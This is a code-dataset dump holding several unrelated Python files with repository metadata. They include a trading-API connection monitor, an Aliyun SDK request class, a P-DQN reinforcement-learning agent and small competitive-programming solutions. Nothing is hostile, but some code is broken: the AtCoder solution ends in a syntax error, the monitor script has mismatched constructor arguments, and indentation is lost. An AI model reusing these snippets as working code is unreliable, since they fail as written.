license = models.ForeignKey('licenses.License', on_delete=models.CASCADE)
account_number = models.PositiveIntegerField()
initial_value = models.FloatField()
current_value = models.FloatField()
is_active = models.BooleanField(default=True)
def __str__(self):
"""Return license and account number."""
return f'{self.license.key}: {self.account_number}'
| [
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] | |
da38c6d8fffaeb5783ea990cc4c0d141c546348d | 1483c757338467cefd248fe45986f3fc1aedc49a | /api_connect_monitor.py | 2c7a592b0ff9d385fcc1953bda29077f37052858 | [] | no_license | alexzhang1/auto_monitor | ac9d2f8ffce356cfcec7b0e700af0afa8c7373db | 03f3a8c711436cc498b8cb086be111accbd2c399 | refs/heads/master | 2021-07-11T13:11:06.539643 | 2020-10-12T03:19:07 | 2020-10-12T03:19:07 | 190,317,710 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,446 | py | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
'''
@File : api_connect_monitor.py
@Time : 2020/03/26 15:28:32
@Author : wei.zhang
@Version : 1.0
@Desc : None
'''
# here put the import lib
import sys
import traderapi
import time
import threading
import logging
import common_tools as ct
import getopt
import json
import datetime as dt
import pandas as pd
import csv
import subprocess
logger = logging.getLogger()
class TraderSpi(traderapi.CTORATstpTraderSpi):
def __init__(self,api,app):
traderapi.CTORATstpTraderSpi.__init__(self)
self.__api=api
self.__req_id=0
self.__app=app
def OnFrontConnected(self):
print("OnFrontConnected")
self.__app.wake_up()
def OnRspUserLogin(self, pRspUserLoginField, pRspInfo, nRequestID, bIsLast):
print("OnRspUserLogin: ErrorID[%d] ErrorMsg[%s] RequestID[%d] IsLast[%d]" % (pRspInfo['ErrorID'], pRspInfo['ErrorMsg'], nRequestID, bIsLast))
if pRspInfo['ErrorID'] == 0:
self.__app.wake_up()
def auto_increase_reqid(self):
self.__req_id = self.__req_id + 1
def test_req_user_login(self):
#请求编号自增
self.auto_increase_reqid()
#请求登录
login_req = traderapi.CTORATstpReqUserLoginField()
login_req.LogInAccount=input("input login user:")
login_req.LogInAccountType = traderapi.TORA_TSTP_LACT_UserID
login_req.Password=input("input login password:")
ret=self.__api.ReqUserLogin(login_req, self.__req_id)
if ret!=0:
print("ReqUserLogin ret[%d]" %(ret))
self.__app.wake_up()
class TestApp(threading.Thread):
def __init__(self, name, address):
threading.Thread.__init__(self)
self.__name = name
self.__api = None
self.__spi = None
self.__address = address
self.__lock = threading.Lock()
self.__lock.acquire()
def run(self):
while True:
if self.__api is None:
print(traderapi.CTORATstpTraderApi_GetApiVersion())
self.__api = traderapi.CTORATstpTraderApi.CreateTstpTraderApi()
self.__spi = TraderSpi(self.__api, self)
self.__api.RegisterSpi(self.__spi)
self.__api.RegisterFront(self.__address)
#订阅私有流
self.__api.SubscribePrivateTopic(traderapi.TORA_TERT_RESTART)
#订阅公有流
self.__api.SubscribePublicTopic(traderapi.TORA_TERT_RESTART)
#启动接口对象
self.__api.Init()
else:
self.__lock.acquire()
exit=False
connect_err_count_dict = {}
while True:
print("start monitor trade api port")
# ss -nap | grep 122.144.152.9:6500 | grep ESTAB
para = '122.144.152.9:6500'
connect_err_count_dict[para] = 0
commond = 'ss -nap | grep ' + para + ' | grep ESTAB'
execute_com = subprocess.Popen(commond,
shell=True,
stderr=subprocess.PIPE,
stdout=subprocess.PIPE) # 执行命令
res,err = execute_com.communicate()
logger.info("res:" + str(res))
print("res:" + str(res))
print('len(res):', len(res))
logger.info("err:" + str(err))
print("err:" + str(err))
if res!=b'':
print('tcp ESTAB is ok')
connect_err_count_dict[para] = 0
time.sleep(3)
continue
else:
print("tcp is not ESTAB!")
connect_err_count_dict[para] += 1
if connect_err_count_dict[para] < 3:
print("send error msg!")
#ct.send_sms_control('error')
time.sleep(3)
if exit == True:
break
def wake_up(self):
self.__lock.release()
def stop(self):
self.__running=False
def run_app(task, CheckData):
#启动线程
#app=TestApp("thread", "tcp://122.144.152.9:8500")
app=TestApp("thread", task, CheckData)
logger.info("init_login")
app.start()
app.join()
return app.check_flag
def main(argv):
try:
yaml_path = './config/api_monitor_logger.yaml'
ct.setup_logging(yaml_path)
with open('./config/api_monitor_config.json', 'r') as f:
JsonData = json.load(f)
logger.debug(JsonData)
manual_task = ''
try:
opts, args = getopt.getopt(argv,"ht:",["task="])
except getopt.GetoptError:
print('sppytraderapi_check.py -t <task> or you can use -h for help')
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print('python tradeapi_monitor.py -t <task>\n \
parameter -t comment: \n \
use -t can input the manul single task.\n \
task=["qry_market_data","mem","fpga","db_init","db_trade","errorLog"]. \n \
task="qry_market_data" means porcess and port monitor \n \
task="qry_security" means memory monitor \n \
task="db_trade" means db trading data monitor \n \
task="errorLog" means file error log monitor \n \
task="self_monitor" means self check monitor \n \
task="smss" means check the sms send status \n \
task="sms0" means set sms total_count=0 \n \
fpga_monitor and db_init_monitor just execute once on beginning ' )
sys.exit()
elif opt in ("-t", "--task"):
manual_task = arg
if manual_task not in ["qry_market_data","qry_security"]:
logger.warning("[task] input is wrong, please try again!")
sys.exit()
else:
logger.info('manual_task is:%s' % manual_task)
logger.info("Start to excute the api monitor")
TraderApi_CheckData = JsonData['PyTraderApi']
res_flag = 0
for CheckData in TraderApi_CheckData:
check_flag = run_app(manual_task, CheckData)
res_flag += check_flag
if res_flag == len(TraderApi_CheckData):
msg = "Ok,所有服务器 traderapi行情查询 返回结果正确！"
logger.info(msg)
ct.send_sms_control("NoLimit", msg)
else:
logger.info("Error: 有服务器 traderapi行情查询 返回结果不正确！")
except Exception:
logger.error('Faild to run trade api monitor!', exc_info=True)
finally:
for handler in logger.handlers:
logger.removeHandler(handler)
if __name__ == "__main__":
app=TestApp("thread", "tcp://122.144.152.9:6500")
app.start()
app.join() | [
"[email protected]"
] | |
f1771a9b4551cf163b9520955479f3e1ca8a3260 | 83de24182a7af33c43ee340b57755e73275149ae | /aliyun-python-sdk-gdb/aliyunsdkgdb/request/v20190903/DescribeResourceUsageRequest.py | 337bfc1e66b02c32b1bc9d2950100c29f3875e08 | [
"Apache-2.0"
] | permissive | aliyun/aliyun-openapi-python-sdk | 4436ca6c57190ceadbc80f0b1c35b1ab13c00c7f | 83fd547946fd6772cf26f338d9653f4316c81d3c | refs/heads/master | 2023-08-04T12:32:57.028821 | 2023-08-04T06:00:29 | 2023-08-04T06:00:29 | 39,558,861 | 1,080 | 721 | NOASSERTION | 2023-09-14T08:51:06 | 2015-07-23T09:39:45 | Python | UTF-8 | Python | false | false | 2,236 | py | # Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
from aliyunsdkcore.request import RpcRequest
from aliyunsdkgdb.endpoint import endpoint_data
class DescribeResourceUsageRequest(RpcRequest):
def __init__(self):
RpcRequest.__init__(self, 'gdb', '2019-09-03', 'DescribeResourceUsage','gds')
self.set_method('POST')
if hasattr(self, "endpoint_map"):
setattr(self, "endpoint_map", endpoint_data.getEndpointMap())
if hasattr(self, "endpoint_regional"):
setattr(self, "endpoint_regional", endpoint_data.getEndpointRegional())
def get_ResourceOwnerId(self):
return self.get_query_params().get('ResourceOwnerId')
def set_ResourceOwnerId(self,ResourceOwnerId):
self.add_query_param('ResourceOwnerId',ResourceOwnerId)
def get_DBInstanceId(self):
return self.get_query_params().get('DBInstanceId')
def set_DBInstanceId(self,DBInstanceId):
self.add_query_param('DBInstanceId',DBInstanceId)
def get_ResourceOwnerAccount(self):
return self.get_query_params().get('ResourceOwnerAccount')
def set_ResourceOwnerAccount(self,ResourceOwnerAccount):
self.add_query_param('ResourceOwnerAccount',ResourceOwnerAccount)
def get_OwnerAccount(self):
return self.get_query_params().get('OwnerAccount')
def set_OwnerAccount(self,OwnerAccount):
self.add_query_param('OwnerAccount',OwnerAccount)
def get_OwnerId(self):
return self.get_query_params().get('OwnerId')
def set_OwnerId(self,OwnerId):
self.add_query_param('OwnerId',OwnerId) | [
"[email protected]"
] | |
9b4920a9b0dc7ffc023c6d1c687089bb42049ff8 | 301e55ee3990b2daf135197eac81e1cc244e6cd3 | /python/unique-binary-search-trees.py | 85835f19426cf7f62c68fcd9c62966e0ff38f19e | [
"MIT"
] | permissive | alirezaghey/leetcode-solutions | 74b1b645c324ea7c1511d9ce3a97c8d622554417 | c32b786e52dd25ff6e4f84242cec5ff1c5a869df | refs/heads/master | 2022-08-22T16:28:05.459163 | 2022-08-18T12:02:51 | 2022-08-18T12:02:51 | 203,028,081 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 292 | py | class Solution:
def numTrees(self, n: int) -> int:
if n < 3: return n
dp = [1, 1, 2]
for i in range(3, n+1):
curr = 0
for j in range(1, i+1):
curr += dp[j-1]*dp[i-j]
dp.append(curr)
return dp[-1] | [
"[email protected]"
] | |
be44c2371706b45c38b3e908d0244ed94f44aa70 | cbf9f600374d7510988632d7dba145c8ff0cd1f0 | /abc/196/d.py | e216ca75d757df8b0417a076d369cbe78316f30f | [] | no_license | sakakazu2468/AtCoder_py | d0945d03ad562474e40e413abcec39ded61e6855 | 34bdf39ee9647e7aee17e48c928ce5288a1bfaa5 | refs/heads/master | 2022-04-27T18:32:28.825004 | 2022-04-21T07:27:00 | 2022-04-21T07:27:00 | 225,844,364 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | h, w, a, b = map(int, input().split())
all_list = [0, 1, 2, 3, 18, 9, 36]
max_pattern = 0
if h*w == 1:
max_pattern = all_list[0]
list_num = 0
elif h*w == 2:
max_pattern = all_list[1]
list_num = 1
elif h*w == 4:
max_pattern = all_list[2]
list_num = 4
elif h*w == 6:
max_pattern = all_list[3]
list_num = 7
elif h*w == 9:
max_pattern = all_list[4]
list_num = 12
elif h*w == 12:
max_pattern = all_list[5]
list_num = 17
elif h*w == 16:
max_pattern = all_list[6]
list_num = 24
if a==0:
print(1)
elif a==1:
print(list_num)
else:
for i in range()
| [
"[email protected]"
] | |
7e0243512b3b79d91578c7fac1b133d86030d274 | 5ef3177969ced32aafce0363190265e35344240d | /agents/pdqn_bound.py | 39e9f2ccff627ed629549231c2a0f7553317775b | [] | no_license | AlbertChenStonybrook/Project1 | 9971059b8c8f56be44be86efabd97cf0e0ccb510 | 37c09011dac7baeed4c5f3ff2de4849208bca588 | refs/heads/main | 2023-05-26T08:12:36.308233 | 2021-06-16T15:18:10 | 2021-06-16T15:18:10 | 377,552,709 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 25,660 | py | import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
import random
from collections import Counter
from torch.autograd import Variable
from copy import deepcopy
from agents.agent import Agent
from agents.memory.memory import Memory
from agents.utils import soft_update_target_network, hard_update_target_network
from agents.utils.noise import OrnsteinUhlenbeckActionNoise
from args import *
class QActor(nn.Module):
def __init__(self, state_size, action_size, action_parameter_size, hidden_layers=(100,), action_input_layer=0,
output_layer_init_std=None, activation="relu", **kwargs):
super(QActor, self).__init__()
self.state_size = state_size
self.action_size = action_size
self.action_parameter_size = action_parameter_size
self.activation = activation
# create layers
self.layers = nn.ModuleList()
inputSize = self.state_size + self.action_parameter_size
lastHiddenLayerSize = inputSize
if hidden_layers is not None:
nh = len(hidden_layers)
print("inputsize",inputSize,"hidden_layers[0]",hidden_layers)
self.layers.append(nn.Linear(inputSize, hidden_layers[0]))
for i in range(1, nh):
self.layers.append(nn.Linear(hidden_layers[i - 1], hidden_layers[i]))
lastHiddenLayerSize = hidden_layers[nh - 1]
self.layers.append(nn.Linear(lastHiddenLayerSize, self.action_size))
# initialise layer weights
for i in range(0, len(self.layers) - 1):
nn.init.kaiming_normal_(self.layers[i].weight, nonlinearity=activation)
nn.init.zeros_(self.layers[i].bias)
if output_layer_init_std is not None:
nn.init.normal_(self.layers[-1].weight, mean=0., std=output_layer_init_std)
# else:
# nn.init.zeros_(self.layers[-1].weight)
nn.init.zeros_(self.layers[-1].bias)
def forward(self, state, action_parameters):
# implement forward
negative_slope = 0.01
x = torch.cat((state, action_parameters), dim=1)
num_layers = len(self.layers)
for i in range(0, num_layers - 1):
if self.activation == "relu":
x = F.relu(self.layers[i](x))
elif self.activation == "leaky_relu":
x = F.leaky_relu(self.layers[i](x), negative_slope)
else:
raise ValueError("Unknown activation function "+str(self.activation))
Q = self.layers[-1](x)
return Q
class ParamActor(nn.Module):
def __init__(self, state_size, action_size, action_parameter_size, hidden_layers, squashing_function=False,
output_layer_init_std=None, init_type="kaiming", activation="relu", init_std=None):
super(ParamActor, self).__init__()
self.state_size = state_size
self.action_size = action_size
self.action_parameter_size = action_parameter_size
self.squashing_function = squashing_function
self.activation = activation
if init_type == "normal":
assert init_std is not None and init_std > 0
assert self.squashing_function is False # unsupported, cannot get scaling right yet
# create layers
self.layers = nn.ModuleList()
inputSize = self.state_size
lastHiddenLayerSize = inputSize
if hidden_layers is not None:
nh = len(hidden_layers)
self.layers.append(nn.Linear(inputSize, hidden_layers[0]))
for i in range(1, nh):
self.layers.append(nn.Linear(hidden_layers[i - 1], hidden_layers[i]))
lastHiddenLayerSize = hidden_layers[nh - 1]
self.action_parameters_output_layer = nn.Linear(lastHiddenLayerSize, self.action_parameter_size)
self.action_parameters_passthrough_layer = nn.Linear(self.state_size, self.action_parameter_size)
# initialise layer weights
for i in range(0, len(self.layers)):
if init_type == "kaiming":
nn.init.kaiming_normal_(self.layers[i].weight, nonlinearity=activation)
elif init_type == "normal":
nn.init.normal_(self.layers[i].weight, std=init_std)
else:
raise ValueError("Unknown init_type "+str(init_type))
nn.init.zeros_(self.layers[i].bias)
if output_layer_init_std is not None:
nn.init.normal_(self.action_parameters_output_layer.weight, std=output_layer_init_std)
else:
nn.init.zeros_(self.action_parameters_output_layer.weight)
nn.init.zeros_(self.action_parameters_output_layer.bias)
nn.init.zeros_(self.action_parameters_passthrough_layer.weight)
nn.init.zeros_(self.action_parameters_passthrough_layer.bias)
# fix passthrough layer to avoid instability, rest of network can compensate
self.action_parameters_passthrough_layer.requires_grad = False
self.action_parameters_passthrough_layer.weight.requires_grad = False
self.action_parameters_passthrough_layer.bias.requires_grad = False
def forward(self, state):
x = state
negative_slope = 0.01
num_hidden_layers = len(self.layers)
for i in range(0, num_hidden_layers):
if self.activation == "relu":
x = F.relu(self.layers[i](x))
elif self.activation == "leaky_relu":
x = F.leaky_relu(self.layers[i](x), negative_slope)
else:
raise ValueError("Unknown activation function "+str(self.activation))
action_params = self.action_parameters_output_layer(x)
action_params += self.action_parameters_passthrough_layer(state)
if self.squashing_function:
assert False # scaling not implemented yet
action_params = action_params.tanh()
action_params = action_params * self.action_param_lim
# action_params = action_params / torch.norm(action_params) ## REMOVE --- normalisation layer?? for pointmass
return action_params
class PDQNAgent(Agent):
"""
DDPG actor-critic agent for parameterised action spaces
[Hausknecht and Stone 2016]
"""
NAME = "P-DQN Agent"
def __init__(self,
observation_dim,
action_dim,
action_high,
action_low,
actor_class=QActor,
actor_kwargs={},
actor_param_class=ParamActor,
actor_param_kwargs={},
epsilon_initial=0.8,
epsilon_final=0.7,
epsilon_steps=10000,
batch_size=64,
gamma=0.99,
tau_actor=0.01, # Polyak averaging factor for copying target weights
tau_actor_param=0.001,
replay_memory_size=1000000,
learning_rate_actor=0.0001,
learning_rate_actor_param=0.00001,
initial_memory_threshold=0,
use_ornstein_noise=True, # if false, uses epsilon-greedy with uniform-random action-parameter exploration
loss_func=F.mse_loss, # F.mse_loss
clip_grad=10,
inverting_gradients=False,
zero_index_gradients=False,
norm_noise=False,
indexed=False,
weighted=False,
average=False,
random_weighted=False,
device="cuda" if torch.cuda.is_available() else "cpu",
seed=None):
super(PDQNAgent, self).__init__(observation_dim, action_dim,action_high,action_low)
self.device = torch.device(device)
self.num_actions = self.action_dim
self.action_parameter_sizes = np.ones(self.num_actions)
self.action_parameter_size = int(self.action_parameter_sizes.sum())
self.action_max = torch.from_numpy(np.ones((self.num_actions,))).float().to(device)
self.action_min = -self.action_max.detach()
self.action_range = (self.action_max-self.action_min).detach()
#print([self.action_space.spaces[i].high for i in range(1,self.num_actions+1)])
self.action_parameter_max_numpy = self.action_high.ravel()
self.action_parameter_min_numpy = self.action_low.ravel()
self.action_parameter_range_numpy = (self.action_parameter_max_numpy - self.action_parameter_min_numpy)
self.action_parameter_max = torch.from_numpy(self.action_parameter_max_numpy).float().to(device)
self.action_parameter_min = torch.from_numpy(self.action_parameter_min_numpy).float().to(device)
self.action_parameter_range = torch.from_numpy(self.action_parameter_range_numpy).float().to(device)
self.epsilon = epsilon_initial
self.epsilon_initial = epsilon_initial
self.epsilon_final = epsilon_final
self.epsilon_steps = epsilon_steps
self.indexed = indexed
self.weighted = weighted
self.average = average
self.random_weighted = random_weighted
assert (weighted ^ average ^ random_weighted) or not (weighted or average or random_weighted)
self.action_parameter_offsets = self.action_parameter_sizes.cumsum()
self.action_parameter_offsets = np.insert(self.action_parameter_offsets, 0, 0)
self.batch_size = batch_size
self.gamma = gamma
self.replay_memory_size = replay_memory_size
self.initial_memory_threshold = initial_memory_threshold
self.learning_rate_actor = learning_rate_actor
self.learning_rate_actor_param = learning_rate_actor_param
self.inverting_gradients = inverting_gradients
self.tau_actor = tau_actor
self.tau_actor_param = tau_actor_param
self._step = 0
self._episode = 0
self.updates = 0
self.clip_grad = clip_grad
self.zero_index_gradients = zero_index_gradients
self.np_random = None
self.seed = seed
self._seed(seed)
self.use_ornstein_noise = use_ornstein_noise
self.noise = OrnsteinUhlenbeckActionNoise(self.action_parameter_size, random_machine=self.np_random, mu=1., theta=3, sigma=0.0001) #, theta=0.01, sigma=0.01)
self.norm_noise=norm_noise
self.noise_std=args.noise_std
self.trainpurpose=True
print(self.num_actions+self.action_parameter_size)
self.replay_memory = Memory(replay_memory_size, self.observation_dim, 1+self.action_parameter_size, next_actions=False)
self.actor = actor_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_kwargs).to(device)
self.actor_target = actor_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_kwargs).to(device)
hard_update_target_network(self.actor, self.actor_target)
self.actor_target.eval()
self.actor_param = actor_param_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_param_kwargs).to(device)
self.actor_param_target = actor_param_class(self.observation_dim, self.num_actions, self.action_parameter_size, **actor_param_kwargs).to(device)
hard_update_target_network(self.actor_param, self.actor_param_target)
self.actor_param_target.eval()
self.loss_func = loss_func # l1_smooth_loss performs better but original paper used MSE
# Original DDPG paper [Lillicrap et al. 2016] used a weight decay of 0.01 for Q (critic)
# but setting weight_decay=0.01 on the critic_optimiser seems to perform worse...
# using AMSgrad ("fixed" version of Adam, amsgrad=True) doesn't seem to help either...
self.actor_optimiser = optim.Adam(self.actor.parameters(), lr=self.learning_rate_actor) #, betas=(0.95, 0.999))
self.actor_param_optimiser = optim.Adam(self.actor_param.parameters(), lr=self.learning_rate_actor_param) #, betas=(0.95, 0.999)) #, weight_decay=critic_l2_reg)
def __str__(self):
desc = super().__str__() + "\n"
desc += "Actor Network {}\n".format(self.actor) + \
"Param Network {}\n".format(self.actor_param) + \
"Actor Alpha: {}\n".format(self.learning_rate_actor) + \
"Actor Param Alpha: {}\n".format(self.learning_rate_actor_param) + \
"Gamma: {}\n".format(self.gamma) + \
"Tau (actor): {}\n".format(self.tau_actor) + \
"Tau (actor-params): {}\n".format(self.tau_actor_param) + \
"Inverting Gradients: {}\n".format(self.inverting_gradients) + \
"Replay Memory: {}\n".format(self.replay_memory_size) + \
"Batch Size: {}\n".format(self.batch_size) + \
"Initial memory: {}\n".format(self.initial_memory_threshold) + \
"epsilon_initial: {}\n".format(self.epsilon_initial) + \
"epsilon_final: {}\n".format(self.epsilon_final) + \
"epsilon_steps: {}\n".format(self.epsilon_steps) + \
"Clip Grad: {}\n".format(self.clip_grad) + \
"Ornstein Noise?: {}\n".format(self.use_ornstein_noise) + \
"Zero Index Grads?: {}\n".format(self.zero_index_gradients) + \
"Seed: {}\n".format(self.seed)
return desc
def set_action_parameter_passthrough_weights(self, initial_weights, initial_bias=None):
passthrough_layer = self.actor_param.action_parameters_passthrough_layer
print(initial_weights.shape)
print(passthrough_layer.weight.data.size())
assert initial_weights.shape == passthrough_layer.weight.data.size()
passthrough_layer.weight.data = torch.Tensor(initial_weights).float().to(self.device)
if initial_bias is not None:
print(initial_bias.shape)
print(passthrough_layer.bias.data.size())
assert initial_bias.shape == passthrough_layer.bias.data.size()
passthrough_layer.bias.data = torch.Tensor(initial_bias).float().to(self.device)
passthrough_layer.requires_grad = False
passthrough_layer.weight.requires_grad = False
passthrough_layer.bias.requires_grad = False
hard_update_target_network(self.actor_param, self.actor_param_target)
def _seed(self, seed=None):
"""
NOTE: this will not reset the randomly initialised weights; use the seed parameter in the constructor instead.
:param seed:
:return:
"""
self.seed = seed
random.seed(seed)
np.random.seed(seed)
self.np_random = np.random.RandomState(seed=seed)
if seed is not None:
torch.manual_seed(seed)
if self.device == torch.device("cuda"):
torch.cuda.manual_seed(seed)
def _ornstein_uhlenbeck_noise(self, all_action_parameters):
""" Continuous action exploration using an Ornstein–Uhlenbeck process. """
return all_action_parameters.data.numpy() + (self.noise.sample() * self.action_parameter_range_numpy)
def start_episode(self):
pass
def end_episode(self):
self._episode += 1
ep = self._episode
if ep < self.epsilon_steps:
self.epsilon = self.epsilon_initial - (self.epsilon_initial - self.epsilon_final) * (
ep / self.epsilon_steps)
else:
self.epsilon = self.epsilon_final
def act(self, state,action_ava):
with torch.no_grad():
state = torch.from_numpy(state).to(self.device)
all_action_parameters = self.actor_param.forward(state)
# Hausknecht and Stone [2016] use epsilon greedy actions with uniform random action-parameter exploration
rnd = self.np_random.uniform()
if rnd < self.epsilon:
action = action_ava[self.np_random.choice(len(action_ava))]
if not self.use_ornstein_noise:
all_action_parameters = torch.from_numpy(np.random.uniform(self.action_parameter_min_numpy,
self.action_parameter_max_numpy))
else:
# select maximum action
Q_a = self.actor.forward(state.unsqueeze(0), all_action_parameters.unsqueeze(0))
Q_a = Q_a.detach().cpu().data.numpy()
#print("Q",Q_a)
Q_a=Q_a[0,action_ava]
action = action_ava[np.argmax(Q_a)]
#print("action",action)
# add noise only to parameters of chosen action
all_action_parameters = all_action_parameters.cpu().data.numpy()
all_action_parameters =np.clip(all_action_parameters,-args.action_bound,args.action_bound)
#print("all_action_parameters",all_action_parameters)
offset = np.array([self.action_parameter_sizes[i] for i in range(action)], dtype=int).sum()
#print("all_action_parameters",all_action_parameters)
#print("offset",offset)
#print("para_size",self.action_parameter_sizes[action])
if self.use_ornstein_noise and self.noise is not None:
all_action_parameters[offset:offset + int(self.action_parameter_sizes[action])] += self.noise.sample()[offset:offset + self.action_parameter_sizes[action]]
if(self.norm_noise and self.trainpurpose):
#print("noise")
all_action_parameters[offset:offset+1]+=np.random.normal(0,self.noise_std,1)
action_parameters = all_action_parameters[offset:offset+1]
return action, action_parameters, all_action_parameters
def _zero_index_gradients(self, grad, batch_action_indices, inplace=True):
assert grad.shape[0] == batch_action_indices.shape[0]
grad = grad.cpu()
if not inplace:
grad = grad.clone()
with torch.no_grad():
ind = torch.zeros(self.action_parameter_size, dtype=torch.long)
for a in range(self.num_actions):
ind[self.action_parameter_offsets[a]:self.action_parameter_offsets[a+1]] = a
# ind_tile = np.tile(ind, (self.batch_size, 1))
ind_tile = ind.repeat(self.batch_size, 1).to(self.device)
actual_index = ind_tile != batch_action_indices[:, np.newaxis]
grad[actual_index] = 0.
return grad
def _invert_gradients(self, grad, vals, grad_type, inplace=True):
# 5x faster on CPU (for Soccer, slightly slower for Goal, Platform?)
if grad_type == "actions":
max_p = self.action_max
min_p = self.action_min
rnge = self.action_range
elif grad_type == "action_parameters":
max_p = self.action_parameter_max
min_p = self.action_parameter_min
rnge = self.action_parameter_range
else:
raise ValueError("Unhandled grad_type: '"+str(grad_type) + "'")
max_p = max_p.cpu()
min_p = min_p.cpu()
rnge = rnge.cpu()
grad = grad.cpu()
vals = vals.cpu()
assert grad.shape == vals.shape
if not inplace:
grad = grad.clone()
with torch.no_grad():
# index = grad < 0 # actually > but Adam minimises, so reversed (could also double negate the grad)
index = grad > 0
grad[index] *= (index.float() * (max_p - vals) / rnge)[index]
grad[~index] *= ((~index).float() * (vals - min_p) / rnge)[~index]
return grad
def step(self, state, action, reward, next_state, next_action, terminal, time_steps=1):
act, all_action_parameters = action
self._step += 1
# self._add_sample(state, np.concatenate((all_actions.data, all_action_parameters.data)).ravel(), reward, next_state, terminal)
self._add_sample(state, np.concatenate(([act],all_action_parameters)).ravel(), reward, next_state, np.concatenate(([next_action[0]],next_action[1])).ravel(), terminal=terminal)
if self._step >= self.batch_size and self._step >= self.initial_memory_threshold:
#print("step",self._step,"update")
self._optimize_td_loss()
self.updates += 1
def _add_sample(self, state, action, reward, next_state, next_action, terminal):
assert len(action) == 1 + self.action_parameter_size
self.replay_memory.append(state, action, reward, next_state, terminal=terminal)
def _optimize_td_loss(self):
if self._step < self.batch_size or self._step < self.initial_memory_threshold:
return
# Sample a batch from replay memory
states, actions, rewards, next_states, terminals = self.replay_memory.sample(self.batch_size, random_machine=self.np_random)
states = torch.from_numpy(states).to(self.device)
actions_combined = torch.from_numpy(actions).to(self.device) # make sure to separate actions and parameters
actions = actions_combined[:, 0].long()
action_parameters = actions_combined[:, 1:]
rewards = torch.from_numpy(rewards).to(self.device).squeeze()
next_states = torch.from_numpy(next_states).to(self.device)
terminals = torch.from_numpy(terminals).to(self.device).squeeze()
# ---------------------- optimize Q-network ----------------------
with torch.no_grad():
pred_next_action_parameters = self.actor_param_target.forward(next_states)
pred_Q_a = self.actor_target(next_states, pred_next_action_parameters)
Qprime = torch.max(pred_Q_a, 1, keepdim=True)[0].squeeze()
# Compute the TD error
target = rewards + (1 - terminals) * self.gamma * Qprime
# Compute current Q-values using policy network
q_values = self.actor(states, action_parameters)
y_predicted = q_values.gather(1, actions.view(-1, 1)).squeeze()
y_expected = target
loss_Q = self.loss_func(y_predicted, y_expected)
self.actor_optimiser.zero_grad()
loss_Q.backward()
if self.clip_grad > 0:
torch.nn.utils.clip_grad_norm_(self.actor.parameters(), self.clip_grad)
self.actor_optimiser.step()
# ---------------------- optimize actor ----------------------
with torch.no_grad():
action_params = self.actor_param(states)
action_params.requires_grad = True
assert (self.weighted ^ self.average ^ self.random_weighted) or \
not (self.weighted or self.average or self.random_weighted)
Q = self.actor(states, action_params)
Q_val = Q
if self.weighted:
# approximate categorical probability density (i.e. counting)
counts = Counter(actions.cpu().numpy())
weights = torch.from_numpy(
np.array([counts[a] / actions.shape[0] for a in range(self.num_actions)])).float().to(self.device)
Q_val = weights * Q
elif self.average:
Q_val = Q / self.num_actions
elif self.random_weighted:
weights = np.random.uniform(0, 1., self.num_actions)
weights /= np.linalg.norm(weights)
weights = torch.from_numpy(weights).float().to(self.device)
Q_val = weights * Q
if self.indexed:
Q_indexed = Q_val.gather(1, actions.unsqueeze(1))
Q_loss = torch.mean(Q_indexed)
else:
Q_loss = torch.mean(torch.sum(Q_val, 1))
self.actor.zero_grad()
Q_loss.backward()
from copy import deepcopy
delta_a = deepcopy(action_params.grad.data)
# step 2
action_params = self.actor_param(Variable(states))
delta_a[:] = self._invert_gradients(delta_a, action_params, grad_type="action_parameters", inplace=True)
if self.zero_index_gradients:
delta_a[:] = self._zero_index_gradients(delta_a, batch_action_indices=actions, inplace=True)
out = -torch.mul(delta_a, action_params)
self.actor_param.zero_grad()
out.backward(torch.ones(out.shape).to(self.device))
if self.clip_grad > 0:
torch.nn.utils.clip_grad_norm_(self.actor_param.parameters(), self.clip_grad)
self.actor_param_optimiser.step()
soft_update_target_network(self.actor, self.actor_target, self.tau_actor)
soft_update_target_network(self.actor_param, self.actor_param_target, self.tau_actor_param)
def save_models(self, prefix):
"""
saves the target actor and critic models
:param prefix: the count of episodes iterated
:return:
"""
torch.save(self.actor.state_dict(), prefix + '_actor.pt')
torch.save(self.actor_param.state_dict(), prefix + '_actor_param.pt')
print('Models saved successfully')
def load_models(self, prefix):
"""
loads the target actor and critic models, and copies them onto actor and critic models
:param prefix: the count of episodes iterated (used to find the file name)
:param target: whether to load the target newtwork too (not necessary for evaluation)
:return:
"""
# also try load on CPU if no GPU available?
self.actor.load_state_dict(torch.load(prefix + '_actor.pt', map_location='cpu'))
self.actor_param.load_state_dict(torch.load(prefix + '_actor_param.pt', map_location='cpu'))
print('Models loaded successfully')
def copy_models(self, actor, actor_param):
self.actor=deepcopy(actor)
self.actor_param=deepcopy(actor_param)
| [
"[email protected]"
] | |
bd29d9560f41d68aea57e270418f019bd71634e9 | c80b6f2aeccbf8271656f715523991bbd3163738 | /biblioteka.py | 5b01678ba4657f958194b59d51d5110b23e6b5b9 | [] | no_license | rwozniak89/python-webowa | 7c38294c06606a2dacd8df87c357bb8d27f0ab07 | 4895774e5f31fdfd830d0cd4b105b52d8728fe77 | refs/heads/main | 2023-02-18T21:55:34.424455 | 2021-01-21T18:38:50 | 2021-01-21T18:38:50 | 321,030,997 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 221 | py | # pip install pytest
def dodawanie(a,b):
return a+b
def odejmowanie(a,b):
return a-b
def mnozenie(a,b):
return a*b
def dzielenie(a,b):
return a/b
def lista():
return [pow(2,e) for e in range(10)]
| [
"[email protected]"
] | |
